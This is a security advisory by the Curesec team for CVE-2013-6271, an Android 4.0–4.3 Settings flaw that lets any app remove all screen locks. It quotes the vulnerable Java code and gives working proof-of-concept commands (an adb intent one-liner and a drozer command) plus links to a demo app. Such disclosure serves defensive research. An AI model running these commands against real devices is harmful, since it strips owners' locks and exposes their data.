CVE-2013-6271: Security Advisory - Curesec Research Team

*** Update - 05.12.2013**
Recent tested versions prone of the vulnerability:

```
4.0 - vulnerable
4.1 - vulnerable
4.2 - vulnerable
4.3 - vulnerable
4.4 - not vulnerable
```

*** Update - 04.12.2013**
Many were asking if it is also possible to test this issue with a normal ADB Shell - have fun :)

```
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez
confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
```

*** Update - 03.12.2013**
We have created an app to demonstrate the issue. You can choose two options, remove all locks right away or remove them at a defined time.

CRT-Removelocks.apk

https://www.curesec.com/data/binary/CRT-RemoveLocks.apk

CRT-Removelocks Source code

https://www.curesec.com/data/binary/CRT-RemoveLocks.tar.bz2

1. Introduction

Advisory ID:	Cure-2013-1011
Advisory URL:	https://www.curesec.com/de/veroeffentlichungen/advisories.html
Affected Product:	AndroidOS 4.x (4.0,4.1,4.2,4.3) / com.android.settings
Affected Systems:	Android
Fixed in:	4.4 (KitKat)
Fixed Version Link:	N/A
Vendor Contact:	security@android.com
Vulnerability Type:	Permission Bypass / Design Error
Remote Exploitable:	No
Reported to vendor:	11.10.2013
Disclosed to public:	27.11.2013
Release mode:	Coordinated release
CVE:	CVE-2013-6271
Credentials:	crt@curesec.com

2. Vulnerability Description

The vulnerability described here enables any rouge app at any time to remove all existing device

locks activated by an user. Curesec disclosed this vulnerability as Google Android Security Team was not responding any more about this issue.

The bug exists on the “com.android.settings.ChooseLockGeneric class”. This class is used to allow the user to modify the type of lock mechanism the device should have. Android implements several locks, like pin, password, gesture and even face recognition to lock and unlock a device. Before a user can change these settings, the device asks the user for confirmation of the previous lock (e.x. If a user wants to change the pin or remove it it has to first enter the previou pin).

Lets examine the following code extracted from the class:

```
        // Defaults to needing to confirm credentials
                final boolean confirmCredentials = getActivity().getIntent()
                        .getBooleanExtra(CONFIRM_CREDENTIALS, true);
                mPasswordConfirmed = !confirmCredentials;

                if (savedInstanceState != null) {
                        mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                        mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                        mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
                }

                if (mPasswordConfirmed) {
                        updatePreferencesOrFinish();
                                }
.....
    private void updatePreferencesOrFinish() {
                Intent intent = getActivity().getIntent();
                int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
                if (quality == -1) {
                        // If caller didn't specify password quality, show UI and allow the user to choose.
                        quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                        MutableBoolean allowBiometric = new MutableBoolean(false);
                        quality = upgradeQuality(quality, allowBiometric);
                        final PreferenceScreen prefScreen = getPreferenceScreen();
                        if (prefScreen != null) {
                                prefScreen.removeAll();
                        }
                        addPreferencesFromResource(R.xml.security_settings_picker);
                        disableUnusablePreferences(quality, allowBiometric);
                } else {
                        updateUnlockMethodAndFinish(quality, false);
                }
        }

.....
  void updateUnlockMethodAndFinish(int quality, boolean disabled) {
                // Sanity check. We should never get here without confirming user's existing password.
                if (!mPasswordConfirmed) {
                        throw new IllegalStateException("Tried to update password without confirming it");
                }

                final boolean isFallback = getActivity().getIntent()
                        .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

                quality = upgradeQuality(quality, null);

                if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                        int minLength = mDPM.getPasswordMinimumLength(null);
                        if (minLength < MIN_PASSWORD_LENGTH) {
                                minLength = MIN_PASSWORD_LENGTH;
                        }
                        final int maxLength = mDPM.getPasswordMaximumLength(quality);
```

```
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
```

This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively **unblocks** the device.

As a result any rouge app can at any time remove all existing locks.

3. Proof of Concept Codes

```
#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean
confirm_credentials false --extra integer "lockscreen.password_type" 0
```

4. Solution

-

5. Report Timeline

11.10.2013	Informed Vendor about Issue
12.10.2013	Mail from Vendor
18.10.2013	Mail to vendor, if any feedback exists
11.11.2013	Mail to vendor, if any feedback exists
19.11.2013	Mail to vendor, if any feedback exists
27.11.2013	Disclosed to public